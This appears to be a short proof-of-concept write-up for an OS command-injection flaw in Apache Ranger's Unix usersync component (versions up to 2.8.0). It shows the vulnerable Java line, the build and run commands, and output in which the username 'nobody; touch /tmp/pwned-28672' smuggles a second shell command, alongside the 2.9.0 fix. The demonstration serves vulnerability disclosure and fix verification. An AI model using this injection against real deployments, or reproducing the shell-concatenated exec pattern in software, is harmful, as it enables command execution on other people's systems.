// ugsync/src/main/java/org/apache/ranger/unixusersync/process/UnixUserGroupBuilder.java  (Ranger <= 2.8.0)
Process process = Runtime.getRuntime().exec(new String[]{"bash", "-c", "id -G " + userName});

mvn -q -DskipTests package
docker compose up --build
# or, without Docker (needs bash/id/touch on PATH):
java -jar target/cve-2026-28672.jar

[1] Benign username 'nobody':
      id -G nobody -> 65534
[2] Malicious username 'nobody; touch /tmp/pwned-28672' (vulnerable <= 2.8.0):
      injected command executed? marker /tmp/pwned-28672 exists = true
[3] Same malicious username through the 2.9.0 FIX (id run directly, no shell):
      id -G 'nobody; touch /tmp/pwned-28672' -> null
      injected command executed? marker exists = false
>>> PROVEN: ... OS command injection (CWE-77): true

// Ranger 2.9.0
Process process = Runtime.getRuntime().exec(new String[] {"id", "-G", userName});